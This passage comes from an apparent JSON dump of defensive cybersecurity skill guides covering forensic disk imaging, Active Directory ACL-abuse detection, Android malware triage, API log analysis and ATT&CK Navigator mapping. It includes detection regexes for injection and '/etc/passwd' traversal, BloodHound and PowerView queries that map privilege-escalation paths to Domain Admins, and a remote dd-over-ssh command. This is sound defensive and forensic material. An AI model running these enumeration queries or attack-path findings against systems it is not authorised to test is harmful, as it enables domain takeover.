bs=4096 \\\n   split=2G \\\n   splitformat=aa\n\n# Acquire with verification pass\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/verification.txt \\\n   vf=/cases/case-2024-001/images/evidence.dd \\\n   verifylog=/cases/case-2024-001/logs/verify.log\n```\n\n### Step 5: Verify Image Integrity\n\n```bash\n# Hash the acquired image\nsha256sum /cases/case-2024-001/images/evidence.dd | \\\n   tee /cases/case-2024-001/hashes/image_hash.txt\n\n# Compare source and image hashes\ndiff <(sha256sum /dev/sdb | awk '{print $1}') \\\n     <(sha256sum /cases/case-2024-001/images/evidence.dd | awk '{print $1}')\n\n# If using split images, verify each segment\nsha256sum /cases/case-2024-001/images/evidence.dd.* | \\\n   tee /cases/case-2024-001/hashes/split_image_hashes.txt\n\n# Re-hash source to confirm no changes occurred\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_after.txt\ndiff /cases/case-2024-001/hashes/source_hash_before.txt \\\n     /cases/case-2024-001/hashes/source_hash_after.txt\n```\n\n### Step 6: Document the Acquisition Process\n\n```bash\n# Generate acquisition report\ncat << 'EOF' > /cases/case-2024-001/notes/acquisition_report.txt\nDISK IMAGE ACQUISITION REPORT\n==============================\nCase Number: 2024-001\nDate/Time: $(date -u +\"%Y-%m-%d %H:%M:%S UTC\")\nExaminer: [Name]\n\nSource Device: /dev/sdb\nModel: [from hdparm output]\nSerial: [from hdparm output]\nSize: [from fdisk output]\n\nAcquisition Tool: dcfldd v1.9.1\nBlock Size: 4096\nWrite Blocker: [Hardware/Software model]\n\nImage File: evidence.dd\nImage Hash (SHA-256): [from hash file]\nSource Hash (SHA-256): [from hash file]\nHash Match: YES/NO\n\nErrors During Acquisition: [from error log]\nEOF\n\n# Compress logs for archival\ntar -czf /cases/case-2024-001/acquisition_package.tar.gz \\\n   /cases/case-2024-001/hashes/ \\\n   /cases/case-2024-001/logs/ \\\n   /cases/case-2024-001/notes/\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Bit-for-bit copy | Exact replica of source including unallocated space and slack space |\n| Write blocker | Hardware or software mechanism preventing writes to evidence media |\n| Hash verification | Cryptographic hash comparing source and image to prove integrity |\n| Block size (bs) | Transfer chunk size affecting speed; 4096 or 64K typical for forensics |\n| conv=noerror,sync | Continue on read errors and pad with zeros to maintain offset alignment |\n| Chain of custody | Documented trail proving evidence has not been tampered with |\n| Split imaging | Breaking large images into smaller files for storage and transport |\n| Raw/dd format | Bit-for-bit image format without metadata container overhead |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| dd | Standard Unix disk duplication utility for raw imaging |\n| dcfldd | DoD Computer Forensics Laboratory enhanced version of dd with hashing |\n| dc3dd | Another forensic dd variant from the DoD Cyber Crime Center |\n| sha256sum | SHA-256 hash calculation for integrity verification |\n| blockdev | Linux command to set block device read-only mode |\n| hdparm | Drive identification and parameter reporting |\n| smartctl | S.M.A.R.T. data retrieval for drive health and identification |\n| lsblk | Block device enumeration and identification |\n\n## Common Scenarios\n\n**Scenario 1: Acquiring a Suspect Laptop Hard Drive**\nConnect the drive via a Tableau T35u hardware write-blocker, identify as `/dev/sdb`, use dcfldd with SHA-256 hashing, split into 4GB segments for DVD archival, verify hashes match, document in case notes.\n\n**Scenario 2: Imaging a USB Flash Drive from a Compromised Workstation**\nUse software write-blocking with `blockdev --setro`, acquire with dcfldd including MD5 and SHA-256 dual hashing, image is small enough for single file, verify and store on encrypted case drive.\n\n**Scenario 3: Remote Acquisition Over Network**\nUse dd piped through netcat or ssh for remote acquisition: `ssh root@remote \"dd if=/dev/sda bs=4096\" | dd of=remote_image.dd bs=4096`, hash both ends independently to verify transfer integrity.\n\n**Scenario 4: Acquiring from a Failing Drive**\nUse `ddrescue` first to recover readable sectors, then use dd with `conv=noerror,sync` to fill gaps with zeros, document which sectors were unreadable in the error log.\n\n## Output Format\n\n```\nAcquisition Summary:\n  Source:       /dev/sdb (500GB Western Digital WD5000AAKX)\n  Destination:  /cases/case-2024-001/images/evidence.dd\n  Tool:         dcfldd 1.9.1\n  Block Size:   4096 bytes\n  Duration:     2h 15m 32s\n  Bytes Copied: 500,107,862,016\n  Errors:       0 bad sectors\n  Source SHA-256:  a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Image SHA-256:   a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Verification:    PASSED - Hashes match\n```\n","skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md":"# API Reference: dd and dcfldd Disk Imaging\n\n## dd - Standard Unix Disk Duplication\n\n### Basic Syntax\n```bash\ndd if=<source> of=<destination> [options]\n```\n\n### Key Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `if=` | Input file (source device) | `if=/dev/sdb` |\n| `of=` | Output file (destination image) | `of=evidence.dd` |\n| `bs=` | Block size for read/write | `bs=4096` (forensic standard) |\n| `count=` | Number of blocks to copy | `count=1024` |\n| `skip=` | Skip N blocks from input start | `skip=2048` |\n| `conv=` | Conversion options | `conv=noerror,sync` |\n| `status=` | Transfer statistics level | `status=progress` |\n\n### conv= Values\n- `noerror` - Continue on read errors (do not abort)\n- `sync` - Pad input blocks with zeros on error (preserves offset alignment)\n- `notrunc` - Do not truncate output file\n\n### Output Format\n```\n500107862016 bytes (500 GB, 466 GiB) copied, 8132.45 s, 61.5 MB/s\n976773168+0 records in\n976773168+0 records out\n```\n\n## dcfldd - DoD Forensic dd\n\n### Basic Syntax\n```bash\ndcfldd if=<source> of=<destination> [options]\n```\n\n### Extended Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `hash=` | Hash algorithm(s) | `hash=sha256,md5` |\n| `hashlog=` | File for hash output | `hashlog=hashes.txt` |\n| `hashwindow=` | Hash every N bytes | `hashwindow=1G` |\n| `hashconv=` | Hash before or after conversion | `hashconv=after` |\n| `errlog=` | Error log file | `errlog=errors.log` |\n| `split=` | Split output into chunks | `split=2G` |\n| `splitformat=` | Suffix format for split files | `splitformat=aa` |\n| `vf=` | Verification file | `vf=evidence.dd` |\n| `verifylog=` | Verification result log | `verifylog=verify.log` |\n\n### Output Format\n```\nTotal (sha256): a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5...\n1024+0 records in\n1024+0 records out\n```\n\n## sha256sum - Hash Verification\n\n### Syntax\n```bash\nsha256sum <file_or_device>\nsha256sum -c <checksum_file>\n```\n\n### Output Format\n```\na3f2b8c9d4e5f6...  /dev/sdb\na3f2b8c9d4e5f6...  evidence.dd\n```\n\n## blockdev - Write Protection\n\n### Syntax\n```bash\nblockdev --setro <device>   # Set read-only\nblockdev --setrw <device>   # Set read-write\nblockdev --getro <device>   # Check: 1=RO, 0=RW\nblockdev --getsize64 <device>  # Size in bytes\n```\n\n## lsblk - Block Device Enumeration\n\n### Syntax\n```bash\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL,SERIAL,RO\nlsblk -J   # JSON output\nlsblk -p   # Full device paths\n```\n\n## hdparm - Drive Identification\n\n### Syntax\n```bash\nhdparm -I <device>   # Detailed drive info\nhdparm -i <device>   # Summary identification\n```\n","skills/analyzing-active-directory-acl-abuse/SKILL.md":"---\nname: analyzing-active-directory-acl-abuse\ndescription: Detect dangerous ACL misconfigurations in Active Directory using ldap3\n  to identify GenericAll, WriteDACL, and WriteOwner abuse paths\ndomain: cybersecurity\nsubdomain: identity-security\ntags:\n- active-directory\n- acl-abuse\n- ldap\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-01\n- PR.AA-05\n- PR.AA-06\nmitre_attack:\n- T1098\n- T1098.007\n- T1484.001\n- T1222.001\n- T1078.002\n---\n\n\n# Analyzing Active Directory ACL Abuse\n\n## Overview\n\nActive Directory Access Control Lists (ACLs) define permissions on AD objects through Discretionary Access Control Lists (DACLs) containing Access Control Entries (ACEs). Misconfigured ACEs can grant non-privileged users dangerous permissions such as GenericAll (full control), WriteDACL (modify permissions), WriteOwner (take ownership), and GenericWrite (modify attributes) on sensitive objects like Domain Admins groups, domain controllers, or GPOs.\n\nThis skill uses the ldap3 Python library to connect to a Domain Controller, query objects with their nTSecurityDescriptor attribute, parse the binary security descriptor into SDDL (Security Descriptor Definition Language) format, and identify ACEs that grant dangerous permissions to non-administrative principals. These misconfigurations are the basis for ACL-based attack paths discovered by tools like BloodHound.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing active directory acl abuse\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9 or later with ldap3 library (`pip install ldap3`)\n- Domain user credentials with read access to AD objects\n- Network connectivity to Domain Controller on port 389 (LDAP) or 636 (LDAPS)\n- Understanding of Active Directory security model and SDDL format\n\n## Steps\n\n1. **Connect to Domain Controller**: Establish an LDAP connection using ldap3 with NTLM or simple authentication. Use LDAPS (port 636) for encrypted connections in production.\n\n2. **Query target objects**: Search the target OU or entire domain for objects including users, groups, computers, and OUs. Request the `nTSecurityDescriptor`, `distinguishedName`, `objectClass`, and `sAMAccountName` attributes.\n\n3. **Parse security descriptors**: Convert the binary nTSecurityDescriptor into its SDDL string representation. Parse each ACE in the DACL to extract the trustee SID, access mask, and ACE type (allow/deny).\n\n4. **Resolve SIDs to principals**: Map security identifiers (SIDs) to human-readable account names using LDAP lookups against the domain. Identify well-known SIDs for built-in groups.\n\n5. **Check for dangerous permissions**: Compare each ACE's access mask against dangerous permission bitmasks: GenericAll (0x10000000), WriteDACL (0x00040000), WriteOwner (0x00080000), GenericWrite (0x40000000), and WriteProperty for specific extended rights.\n\n6. **Filter non-admin trustees**: Exclude expected administrative trustees (Domain Admins, Enterprise Admins, SYSTEM, Administrators) and flag ACEs where non-privileged users or groups hold dangerous permissions.\n\n7. **Map attack paths**: For each finding, document the potential attack chain (e.g., GenericAll on user allows password reset, WriteDACL on group allows adding self to group).\n\n8. **Generate remediation report**: Output a JSON report with all dangerous ACEs, affected objects, non-admin trustees, and recommended remediation steps.\n\n## Expected Output\n\n```json\n{\n  \"domain\": \"corp.example.com\",\n  \"objects_scanned\": 1247,\n  \"dangerous_aces_found\": 8,\n  \"findings\": [\n    {\n      \"severity\": \"critical\",\n      \"target_object\": \"CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com\",\n      \"target_type\": \"group\",\n      \"trustee\": \"CORP\\\\helpdesk-team\",\n      \"permission\": \"GenericAll\",\n      \"access_mask\": \"0x10000000\",\n      \"ace_type\": \"ACCESS_ALLOWED\",\n      \"attack_path\": \"GenericAll on Domain Admins group allows adding arbitrary members\",\n      \"remediation\": \"Remove GenericAll ACE for helpdesk-team on Domain Admins\"\n    }\n  ]\n}\n```\n","skills/analyzing-active-directory-acl-abuse/references/api-reference.md":"# Active Directory ACL Abuse API Reference\n\n## ldap3 Python Connection\n\n```python\nfrom ldap3 import Server, Connection, ALL, NTLM, SUBTREE\n\nserver = Server(\"192.168.1.10\", get_info=ALL, use_ssl=False)\nconn = Connection(server, user=\"DOMAIN\\\\user\", password=\"pass\",\n                  authentication=NTLM, auto_bind=True)\n\n# Search with nTSecurityDescriptor\nconn.search(\n    \"DC=corp,DC=example,DC=com\",\n    \"(objectClass=group)\",\n    search_scope=SUBTREE,\n    attributes=[\"distinguishedName\", \"sAMAccountName\",\n                \"objectClass\", \"nTSecurityDescriptor\"],\n)\n```\n\n## SDDL ACE Format\n\n```\nACE String: (ace_type;ace_flags;rights;object_guid;inherit_guid;trustee_sid)\nExample:    (A;;GA;;;S-1-5-21-xxx-512)\n```\n\n| Component | Description |\n|-----------|-------------|\n| `A` | Access Allowed |\n| `D` | Access Denied |\n| `OA` | Object Access Allowed |\n| `GA` | Generic All |\n| `GW` | Generic Write |\n| `WD` | Write DACL |\n| `WO` | Write Owner |\n\n## Dangerous Permission Bitmasks\n\n| Permission | Hex Mask | Risk |\n|-----------|----------|------|\n| GenericAll | `0x10000000` | Full control over object |\n| GenericWrite | `0x40000000` | Modify all writable attributes |\n| WriteDACL | `0x00040000` | Modify object permissions |\n| WriteOwner | `0x00080000` | Take object ownership |\n| WriteProperty | `0x00000020` | Write specific properties |\n| ExtendedRight | `0x00000100` | Extended rights (password reset, etc.) |\n| Self | `0x00000008` | Self-membership modification |\n| Delete | `0x00010000` | Delete the object |\n\n## BloodHound Cypher Queries for ACL Paths\n\n```cypher\n-- Find all users with GenericAll on Domain Admins\nMATCH p=(n:User)-[r:GenericAll]->(g:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nRETURN p\n\n-- Find WriteDACL paths from non-admins to high-value targets\nMATCH (n:User {admincount:false})\nMATCH p=allShortestPaths((n)-[r:WriteDacl|WriteOwner|GenericAll*1..]->(m:Group))\nWHERE m.highvalue = true\nRETURN p\n\n-- Find GenericWrite on computers for RBCD attacks\nMATCH p=(n:User)-[r:GenericWrite]->(c:Computer)\nWHERE NOT n.admincount\nRETURN n.name, c.name\n\n-- Enumerate all outbound ACL edges for a principal\nMATCH p=(n {name:\"HELPDESK@CORP.COM\"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(m)\nRETURN type(r), m.name, labels(m)\n\n-- Find shortest ACL abuse path to Domain Admin\nMATCH (n:User {name:\"JSMITH@CORP.COM\"})\nMATCH (da:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nMATCH p=shortestPath((n)-[r:MemberOf|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|ForceChangePassword*1..]->(da))\nRETURN p\n```\n\n## PowerView Commands for ACL Enumeration\n\n```powershell\n# Get ACL for Domain Admins group\nGet-DomainObjectAcl -Identity \"Domain Admins\" -ResolveGUIDs\n\n# Find interesting ACEs for non-admin users\nFind-InterestingDomainAcl -ResolveGUIDs | Where-Object {\n    $_.ActiveDirectoryRights -match \"GenericAll|WriteDacl|WriteOwner\"\n}\n\n# Get ACL for specific OU\nGet-DomainObjectAcl -SearchBase \"OU=Servers,DC=corp,DC=com\" -ResolveGUIDs\n```\n","skills/analyzing-android-malware-with-apktool/SKILL.md":"---\nname: analyzing-android-malware-with-apktool\ndescription: Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- Android\n- APK\n- apktool\n- jadx\n- androguard\n- mobile-malware\n- static-analysis\n- reverse-engineering\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1406\n- T1407\n- T1626.001\n- T1655.001\n- T1521.001\n---\n\n# Analyzing Android Malware with Apktool\n\n## Overview\n\nAndroid malware distributed as APK files can be statically analyzed to extract permissions, activities, services, broadcast receivers, and suspicious API calls without executing the sample. This skill uses androguard for programmatic APK analysis, identifying dangerous permission combinations, obfuscated code patterns, dynamic code loading, reflection-based API calls, and network communication indicators.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing android malware with apktool\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `androguard`\n- apktool (for resource decompilation)\n- jadx (for Java source recovery, optional)\n- Isolated analysis environment (VM or sandbox)\n- Sample APK files for analysis\n\n## Steps\n\n1. Parse APK with androguard to extract manifest metadata\n2. Enumerate requested permissions and flag dangerous combinations\n3. List activities, services, receivers, and providers from manifest\n4. Scan for suspicious API calls (reflection, crypto, SMS, telephony)\n5. Detect dynamic code loading patterns (DexClassLoader, Runtime.exec)\n6. Extract hardcoded URLs, IPs, and C2 indicators from strings\n7. Generate risk assessment report with MITRE ATT&CK mobile mappings\n\n## Expected Output\n\n- JSON report with permission analysis, component listing, suspicious API calls, network indicators, and risk score\n- Extracted strings and potential IOCs from the APK\n","skills/analyzing-android-malware-with-apktool/references/api-reference.md":"# API Reference — Analyzing Android Malware with Apktool\n\n## Libraries Used\n- **androguard**: Python APK/DEX analysis — `AnalyzeAPK()`, permission enumeration, API call scanning\n- **re**: Regex extraction of URLs, IPs, base64 patterns from DEX strings\n- **json**: JSON serialization for analysis reports\n\n## CLI Interface\n```\npython agent.py sample.apk permissions\npython agent.py sample.apk manifest\npython agent.py sample.apk apis\npython agent.py sample.apk strings\npython agent.py sample.apk full\npython agent.py sample.apk           # defaults to full analysis\n```\n\n## Core Functions\n\n### `analyze_permissions(apk)` — Permission risk assessment\nCalls `apk.get_permissions()`. Flags 20 dangerous permissions including\nSEND_SMS, READ_CONTACTS, BIND_DEVICE_ADMIN, BIND_ACCESSIBILITY_SERVICE.\nRisk: CRITICAL >= 8 dangerous, HIGH >= 5, MEDIUM >= 2, LOW < 2.\n\n### `analyze_manifest(apk)` — Manifest component extraction\nCalls `apk.get_activities()`, `get_services()`, `get_receivers()`, `get_providers()`.\nReturns package name, version, SDK levels, and all component lists.\n\n### `scan_suspicious_apis(dx)` — Suspicious API call detection\nSearches DEX analysis for 14 patterns including:\n- `Runtime.exec`, `ProcessBuilder.start` — command execution\n- `DexClassLoader.loadClass` — dynamic code loading\n- `Method.invoke`, `Class.forName` — reflection\n- `Cipher.getInstance` — cryptographic operations\n- `SmsManager.sendTextMessage` — SMS abuse\n\n### `extract_strings(dx, apk)` — IOC extraction from DEX strings\nRegex extraction of HTTP/HTTPS URLs, external IP addresses, and base64 strings.\nFilters out private IP ranges (10.x, 192.168.x, 172.16.x, 127.x).\n\n### `detect_obfuscation(apk, dx)` — Obfuscation indicator detection\nChecks for single-letter class names (ProGuard), multi-DEX, native libraries.\n\n### `full_analysis(apk_path)` — Comprehensive malware assessment\n\n## Androguard API\n| Method | Returns |\n|--------|---------|\n| `AnalyzeAPK(path)` | `(APK, list[DEX], Analysis)` tuple |\n| `apk.get_permissions()` | List of Android permissions |\n| `apk.get_activities()` | Activity component names |\n| `apk.get_services()` | Service component names |\n| `apk.get_receivers()` | BroadcastReceiver names |\n| `apk.get_package()` | Package name string |\n| `dx.find_methods(classname, methodname)` | Matching method analysis objects |\n| `dx.get_strings()` | All strings from DEX files |\n| `dx.get_classes()` | All class analysis objects |\n\n## Risk Scoring\n| Factor | Max Points |\n|--------|-----------|\n| Dangerous permissions (8 pts each) | 40 |\n| Suspicious API calls (10 pts each) | 30 |\n| External IPs (5 pts each) | 15 |\n| Obfuscation detected | 15 |\n\n## Dependencies\n- `androguard` >= 3.4.0\n- Isolated analysis environment recommended\n","skills/analyzing-api-gateway-access-logs/SKILL.md":"---\nname: analyzing-api-gateway-access-logs\ndescription: 'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect\n  BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts.\n  Uses pandas for statistical analysis of request patterns and anomaly detection.\n  Use when investigating API abuse or building API-specific threat detection rules.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- api-security\n- access-log-analysis\n- aws-api-gateway\n- kong\n- nginx\n- bola-detection\n- rate-limit-bypass\n- security-operations\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1190\n- T1110.004\n- T1078.004\n- T1119\n---\n\n# Analyzing API Gateway Access Logs\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing api gateway access logs\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nParse API gateway access logs to identify attack patterns including broken object\nlevel authorization (BOLA), excessive data exposure, and injection attempts.\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"api_gateway_logs.json\", lines=True)\n# Detect BOLA: same user accessing many different resource IDs\nbola = df.groupby([\"user_id\", \"endpoint\"]).agg(\n    unique_ids=(\"resource_id\", \"nunique\")).reset_index()\nsuspicious = bola[bola[\"unique_ids\"] > 50]\n```\n\nKey detection patterns:\n1. BOLA/IDOR: sequential resource ID enumeration\n2. Rate limit bypass via header manipulation\n3. Credential scanning (401 surges from single source)\n4. SQL/NoSQL injection in query parameters\n5. Unusual HTTP methods (DELETE, PATCH) on read-only endpoints\n\n## Examples\n\n```python\n# Detect 401 surges indicating credential scanning\nauth_failures = df[df[\"status_code\"] == 401]\nscanner_ips = auth_failures.groupby(\"source_ip\").size()\nscanners = scanner_ips[scanner_ips > 100]\n```\n","skills/analyzing-api-gateway-access-logs/references/api-reference.md":"# API Reference: Analyzing API Gateway Access Logs\n\n## AWS API Gateway Log Fields\n\n```json\n{\n  \"requestId\": \"abc-123\",\n  \"ip\": \"203.0.113.50\",\n  \"httpMethod\": \"GET\",\n  \"resourcePath\": \"/api/users/{id}\",\n  \"status\": 200,\n  \"requestTime\": \"2025-03-15T14:00:00Z\",\n  \"responseLength\": 1024\n}\n```\n\n## Pandas Log Analysis\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"access_logs.json\", lines=True)\n\n# BOLA detection\ndf.groupby(\"user_id\")[\"resource_id\"].nunique()\n\n# Auth failure surge\ndf[df[\"status_code\"] == 401].groupby(\"source_ip\").size()\n\n# Request velocity\ndf.set_index(\"timestamp\").resample(\"1min\").size()\n```\n\n## OWASP API Top 10 Patterns\n\n| Risk | Detection Pattern |\n|------|-------------------|\n| BOLA (API1) | User accessing > 50 unique resource IDs |\n| Broken Auth (API2) | > 100 401/403 from single IP |\n| Excessive Data (API3) | Response size > 10x average |\n| Rate Limit (API4) | > 100 req/min from single IP |\n| BFLA (API5) | DELETE/PUT on read-only endpoints |\n| Injection (API8) | SQL/NoSQL patterns in params |\n\n## Injection Regex Patterns\n\n```python\nsql = r\"union\\s+select|drop\\s+table|'\\s*or\\s+'1'\"\nnosql = r\"\\$ne|\\$gt|\\$regex|\\$where\"\nxss = r\"<script|javascript:|onerror=\"\npath_traversal = r\"\\.\\./\\.\\./|/etc/passwd\"\n```\n\n### References\n\n- OWASP API Security Top 10: https://owasp.org/API-Security/\n- AWS API Gateway logging: https://docs.aws.amazon.com/apigateway/latest/developerguide/\n- pandas: https://pandas.pydata.org/docs/\n","skills/analyzing-apt-group-with-mitre-navigator/SKILL.md":"---\nname: analyzing-apt-group-with-mitre-navigator\ndescription: Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- mitre-attack\n- navigator\n- apt\n- threat-actor\n- ttp-analysis\n- heatmap\n- detection-gap\n- threat-intelligence\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1059.001\n- T1071.001\n- T1003.001\n- T1486\n- T1547.001\n---\n# Analyzing APT Group with MITRE ATT&CK Navigator\n\n## Overview\n\nMITRE ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices, enabling analysts to visualize threat actor technique coverage, compare multiple APT groups, identify detection gaps, and build threat-informed defense strategies. This skill covers querying ATT&CK data programmatically, mapping APT group TTPs to Navigator layers, creating multi-layer overlays for gap analysis, and generating actionable intelligence reports for detection engineering teams.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing apt group with mitre navigator\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `attackcti`, `mitreattack-python`, `stix2`, `requests` libraries\n- ATT&CK Navigator (https://mitre-attack.github.io/attack-navigator/) or local deployment\n- Understanding of ATT&CK Enterprise matrix: 14 Tactics, 200+ Techniques, Sub-techniques\n- Access to threat intelligence reports or MISP/OpenCTI for threat actor data\n- Familiarity with STIX 2.1 Intrusion Set and Attack Pattern objects\n\n## Key Concepts\n\n### ATT&CK Navigator Layers\n\nNavigator layers are JSON files that annotate ATT&CK techniques with scores, colors, comments, and metadata. Each layer can represent a single APT group's technique usage, a detection capability map, or a combined overlay. Layer version 4.5 supports enterprise-attack, mobile-attack, and ics-attack domains with filtering by platform (Windows, Linux, macOS, Cloud, Azure AD, Office 365, SaaS).\n\n### APT Group Profiles in ATT&CK\n\nATT&CK catalogs over 140 threat groups with documented technique usage. Each group profile includes aliases, targeted sectors, associated campaigns, software used, and technique mappings with procedure-level detail. Groups are identified by G-codes (e.g., G0016 for APT29, G0007 for APT28, G0032 for Lazarus Group).\n\n### Multi-Layer Analysis\n\nThe Navigator supports loading multiple layers simultaneously, allowing analysts to overlay threat actor TTPs against detection coverage to identify gaps, compare multiple APT groups to find common techniques worth prioritizing, and track technique coverage changes over time.\n\n## Workflow\n\n### Step 1: Query ATT&CK Data for APT Group\n\n```python\nfrom attackcti import attack_client\nimport json\n\nlift = attack_client()\n\n# Get all threat groups\ngroups = lift.get_groups()\nprint(f\"Total ATT&CK groups: {len(groups)}\")\n\n# Find APT29 (Cozy Bear / Midnight Blizzard)\napt29 = next((g for g in groups if g.get('name') == 'APT29'), None)\nif apt29:\n    print(f\"Group: {apt29['name']}\")\n    print(f\"Aliases: {apt29.get('aliases', [])}\")\n    print(f\"Description: {apt29.get('description', '')[:300]}\")\n\n# Get techniques used by APT29 (G0016)\ntechniques = lift.get_techniques_used_by_group(\"G0016\")\nprint(f\"APT29 uses {len(techniques)} techniques\")\n\ntechnique_map = {}\nfor tech in techniques:\n    tech_id = \"\"\n    for ref in tech.get(\"external_references\", []):\n        if ref.get(\"source_name\") == \"mitre-attack\":\n            tech_id = ref.get(\"external_id\", \"\")\n            break\n    if tech_id:\n        tactics = [p.get(\"phase_name\", \"\") for p in tech.get(\"kill_chain_phases\", [])]\n        technique_map[tech_id] = {\n            \"name\": tech.get(\"name\", \"\"),\n            \"tactics\": tactics,\n            \"description\": tech.get(\"description\", \"\")[:500],\n            \"platforms\": tech.get(\"x_mitre_platforms\", []),\n            \"data_sources\": tech.get(\"x_mitre_data_sources\", []),\n        }\n```\n\n### Step 2: Generate Navigator Layer JSON\n\n```python\ndef create_navigator_layer(group_name, technique_map, color=\"#ff6666\"):\n    techniques_list = []\n    for tech_id, info in technique_map.items():\n        for tactic in info[\"tactics\"]:\n            techniques_list.append({\n                \"techniqueID\": tech_id,\n                \"tactic\": tactic,\n                \"color\": color,\n                \"comment\": info[\"name\"],\n                \"enabled\": True,\n                \"score\": 100,\n                \"metadata\": [\n                    {\"name\": \"group\", \"value\": group_name},\n                    {\"name\": \"platforms\", \"value\": \", \".join(info[\"platforms\"])},\n                ],\n            })\n\n    layer = {\n        \"name\": f\"{group_name} TTP Coverage\",\n        \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n        \"domain\": \"enterprise-attack\",\n        \"description\": f\"Techniques attributed to {group_name}\",\n        \"filters\": {\n            \"platforms\": [\"Linux\", \"macOS\", \"Windows\", \"Cloud\",\n                          \"Azure AD\", \"Office 365\", \"SaaS\", \"Google Workspace\"]\n        },\n        \"sorting\": 0,\n        \"layout\": {\n            \"layout\": \"side\", \"aggregateFunction\": \"average\",\n            \"showID\": True, \"showName\": True,\n            \"showAggregateScores\": False, \"countUnscored\": False,\n        },\n        \"hideDisabled\": False,\n        \"techniques\": techniques_list,\n        \"gradient\": {\"colors\": [\"#ffffff\", color], \"minValue\": 0, \"maxValue\": 100},\n        \"legendItems\": [\n            {\"label\": f\"Used by {group_name}\", \"color\": color},\n            {\"label\": \"Not observed\", \"color\": \"#ffffff\"},\n        ],\n        \"showTacticRowBackground\": True,\n        \"tacticRowBackground\": \"#dddddd\",\n        \"selectTechniquesAcrossTactics\": True,\n        \"selectSubtechniquesWithParent\": False,\n        \"selectVisibleTechniques\": False,\n    }\n    return layer\n\nlayer = create_navigator_layer(\"APT29\", technique_map)\nwith open(\"apt29_layer.json\", \"w\") as f:\n    json.dump(layer, f, indent=2)\nprint(\"[+] Layer saved: apt29_layer.json\")\n```\n\n### Step 3: Compare Multiple APT Groups\n\n```python\ngroups_to_compare = {\"G0016\": \"APT29\", \"G0007\": \"APT28\", \"G0032\": \"Lazarus Group\"}\ngroup_techniques = {}\n\nfor gid, gname in groups_to_compare.items():\n    techs = lift.get_techniques_used_by_group(gid)\n    tech_ids = set()\n    for t in techs:\n        for ref in t.get(\"external_references\", []):\n            if ref.get(\"source_name\") == \"mitre-attack\":\n                tech_ids.add(ref.get(\"external_id\", \"\"))\n    group_techniques[gname] = tech_ids\n\ncommon_to_all = set.intersection(*group_techniques.values())\nprint(f\"Techniques common to all groups: {len(common_to_all)}\")\nfor tid in sorted(common_to_all):\n    print(f\"  {tid}\")\n\nfor gname, techs in group_techniques.items():\n    others = set.union(*[t for n, t in group_techniques.items() if n != gname])\n    unique = techs - others\n    print(f\"\\nUnique to {gname}: {len(unique)} 